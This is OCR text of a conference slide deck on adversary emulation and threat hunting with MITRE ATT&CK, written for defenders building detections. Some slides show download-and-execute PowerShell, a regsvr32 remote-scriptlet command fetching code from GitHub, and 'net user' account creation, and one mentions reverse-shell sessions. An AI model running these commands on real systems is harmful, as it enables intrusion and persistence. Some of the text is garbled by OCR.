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Prevention is ideal,
detection is a must




Attack Kill Chain




Threat Hunting

* Problem: | need a threat to hunt for!
e Solution: Create one by emulating real adversaries.

Advanced attack simulation and emulation should be based on realistic
TTPs, for which MITRE is (becoming) the de facto framework.
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Difference between Simulation & Emulation ?

e Simulation -
To produce something that is not real but has the appearance of being real.
— Based on the Red Team’s experience

— Based on environment at hand Simulate an
— Based on global technique popularity adversary that is
not real
* Emulation -
To behave in the same way as someone else. Impersonate
— Based on threat intelligence APT-28

— TTPs of adversaries that will target you
— Based on a previous simulation
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What is MITRE ATT&CK ?

e MITRE ATT&CK is a globally-accessible knowledge base of adversary tactics
and techniques based on real-world observations.

* The ATT&CK knowledge base is used as a foundation for the development
of specific threat models and methodologies in the private sector, in
government, and in the cybersecurity product and service community.
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What is MITRE ATT&CK ?




Whatis TTP ?

* Tactics —

— Tactics represent the “why” of an ATT&CK technique. Tactics represent the tactical goals
of an adversary

 Techniques —

— Techniques represents “how” an adversary achieves a tactical objective by performing
an action.

* Procedures -
— Procedures are specific detailed instructions and/or directions for accomplishing a task.
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What is TTP ?
I | |
Techniques
l = Procedures

S Procedures

Securit y Project



Why TTP ?

A eTough!

Tools eChallenging

Network/ oA :
Host Artifacts ROy
Domain Names eSimple
y N
Hash Values eTrivial

G JEIEER
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etail about the technique

PowerShell [ Description about the technique. | [ Overview about the technique.

PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system n

ID: T1086

Tactic: Execution

Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include

the Start-Process cmdlet which can be used to run an executable and the Invoke-Command cmdlet which runs a command locally or on a

remote computer, Platform: Windows

) ) . : Permissions Required: User, Administrator
PowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without
Data Sources: PowerShell logs, Loaded DLLs, DLL monitoring,

Windows Registry, File monitoring, Process monitoring,
Process command-line parameters

touching disk.

Administrator permissions are required to use PowerShell to connect to remote systems

Supports Remote: Yes

A number of PowerShell-based offensive testing tools are available, including Empire, PowerSploit, '/ and PSAttack. )
Contributors: Praetorian

PowerShell commands/scripts can also be executed without directly invoking the powershell.exe binary through interfaces to PowerShell's Version: 1.1
underlying System.Management.Automation assembly exposed through the .NET framework and Windows Common Language Interface

(cLI.

[ Technique used by various groups & tools. |

Procedure Examples

Name Description
APT19 APT19 used PowerShell commands to execute payloads. (¢4
APT28 APT28 downloads and executes PowerShell scripts. 6%

9 has used encoded PowerShell scripts uploaded to CozyCar installations to download and install SeaDuke. APT29 also used PowerShell scripts to evade defenses. (] (s3
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Detail about the technique

Mitigations

Mitigation Description

Set PowerShell execution policy to execute only signed scripts.

C able Remove Feature It may be possible to remove PowerShell from systems when not needed, but a review should be performed to assess the impact to an environment, since it could be in use for many legitimate

Y purposes and administrative functions

Disable/restrict the WinRM Service to help prevent uses of PowerShell for remote execution

Privileged Account Management ~ When PowerShell is necessary, restrict PowerShell execution policy to administrators. Be aware that there are methods of bypassing the PowerShell execution policy, depending on environment

configuration

Detection
If proper execution policy is set, adversaries will likely be able to define their own execution policy if they obtain administrator or system access, either through the Registry or at the command line. This change in
policy on a system may be a way to detect malicious use of PowerShell. If PowerShell is not used in an environment, then simply looking for PowerShell execution may detect malicious activity.

Monitor for loading and/or execution of artifacts associated with PowerShell specific assemblies, such as System.Management.Automation.dll (especially to unusual process names/locations).

It is also beneficial to turn on PowerShell logging to gain increased fidelity in what occurs during execution (which is applied to .NET invocations) PowerShell 5.0 introduced enhanced logging capabilities, and
some of those features have since been added to PowerShell 4.0. Earlier versions of PowerShell do not have many logging features. !'%7] An organization can gather PowerShell execution details in a data analytic

platform to supplement it with other data

References
1. Microsoft Retrieved April 28, 2016 55 ye iSIGHT Intelligence. ( June 16). FIN10: Anatomy of a ( r Extortion Operation
2. PowerSpl Retrieved Jun 2017
3. Haight, J 56. Gorelik, M.. (2017, June 9). FIN7 Takes Another Bite at the Restaurant Retrie v 1
4. Warner, J Teamer’s Tale o VE 4
AppLocker i Analysis Team
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Leveraging MITRE ATT&CK

ATT&CK for Adversary Emulation

When organizing adversary emulation (such as red or
purple team exercises), the emulation plan can be based
on MITRE ATT&CK. This facilitates tracking & reporting.

ATT&CK for Detection Capability

The overall detection capability of an organization can be
mapped to MITRE ATT&CK. This facilitates for example
reporting on the maturity / scope of the SOC.

ATT&CK for Threat Intelligence

When consuming or generating Threat Intelligence,
observed adversary behavior can be mapped to MITRE
ATT&CK. Several platforms support this mapping (e.g.
MISP has a MITRE ATT&CK mapping).

ATT&CK for Defense Prioritization

In addition to measuring the detection coverage using
MITRE ATT&CK, we can do the same for preventive
controls. What MITRE ATT&CK techniques do we actively
block?

OLUASP

Open Web Application

Security Project



Prepare Emulation Plan
APT 3 Emulation Plan

Phase 2
Compromise
Host
| |

Defense DI Privilege
Evasion ey, Escalation

C2 Setup

are
Packing

Compress

Credential and Stage

Persistence
Access

Obfuscate
Files

Lateral
Movement

Initial Exfiltrate

Access

Execution

Approved for Public Rekase: Distribution Unlimited. Case Number 17-3569. ©2018 The MITRE Corporation. All Rights Reserved MITRE
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Prepare Emulation Plan

G @ mitre-attackgithub.
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Prepare Emulation Plan

* Select threat actors which are relevant to the organization
* Select techniques used by the threat actors to emulate
e Setup the infrastructure

* List techniques which the security solutions can detect / prevent out of
the box

e Customize the tools for emulation
* Define timelines for executing the plan
* Define outcomes of the plans

OWUASP
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Outcomes of the plans

* Assessing controls effectiveness
e Training and preparing the security team
e Sijtuational and risk awareness

* Supporting security roadmap, technology purchasing and investment
decisions

Security Project



Arsenal

Automated / scripted emulation Manual, full-stack, emulation

MITRE ;.

=)
Red Team Automation '
5y 3)

SILENTTRINITY APFell
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Improve Detection

Develop
Detection

Collect
Evidence

a en Web Applica



Improve Detection

* Select a technique

* Execute the technique

* Collect the logs

 Develop the detection rule

* Repeat the above steps

* Create custom tools / script for executing the technique
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T1136 Create Account (Manual Approach)

using System;
using System.DirectoryServices;

add

C:\>net user demol P@sswOrd

The commar

C- i class Classl
‘
i
static void Main(string[] args)
‘

1
try

typedef struct _USER_INFO 1 {
LPWSTR usril_name;
LPWSTR usril_password;
DWORD usril_password_age; PieTh e arvariaes
DWORD usril priv; DWORD  level, ’
LPWSTR usril_home_dir; LPBYTE buf,
LPWSTR usril_comment; LPDWORD parm_err
DWORD wusril flags; )s
LPWSTR usril_script_path;
} USER_INFO_1, *PUSER_INFO_1, *LPUSER_INFO_1; B

C++

NET_API_STATUS NET_API_FUNCTION NetUserAdd(

I
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Atomic Red Team

Install Atomic Red

N Administrator: Windows PowerShell - O

PS C:\> IEX (New-Object Net.WebClient).DownloadString( ; Install-AtomicRedTeam

Technique Execution Details

micRedTeam\atomic-red-team-master\execution-frameworks\Invoke-AtomicRedTeam> I est T1117 Continue
BEGIN TEST******

scriptlet execution
command-line program used to register and unm er OLE cont

:\AtomicRedTeam\atomics\T1117\RegSvr32.s5ct scrobj.dll
BEGIN TEST®=sxsxx]
T1117
remote Cf
is a command-line program used to register and unregister OLE controls
2.exe fs fu fi:https raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atom 1117 /RegSvri.

BEGIN TEST*»*%ss%]

al DLL execution
is a command-line program used to register and unregister OLE controls

“IF “%PROCESSOR_ARCHITECTURES AMDE ( \Syswowsd\regs -2 7 AtomicRedTeam\atomics\T1117\bin\AllTheThingsx86.d11 )"

CtrEMRLLLEND TESTI! ']
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aldera

Home Sandcat Chain

AtomicCaldera

CALDERA

Cyber Adversary Language and Decision Engine for Red Team Automation

| am a blue-teamer

As a blue-team operator, you should start by deploying
one or many 54ndc47 (Sandcat) agents on remote
computers you want to test. Then move into Chain mode
to create adversary profiles and run operations against
the deployed hosts.

lam a

As a researcher, you should restart the server with the
mock plugin, which deploys simulated agents. Then, go
into Chain mode and run a few sample operations. Once
familiar with how abilities link together, study the
sequential.py module in the source code, which contains
the automated decision-making logic.

lam a

As a red-team operator, you should restart the server
with the terminal plugin loaded. Then, deploy one or

many 54ndc47 (Sandcat) agents on remote computers,

Use the terminal to create and join reverse-shell
essions to manually compromise the hosts.
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DEMO
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Note

“Adversary Emulation” is not the final destination. There are different flavors
that can be valid options, depending on your goals and environment
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THANKS!

Any questions?
You can find me at @chiragsavla94
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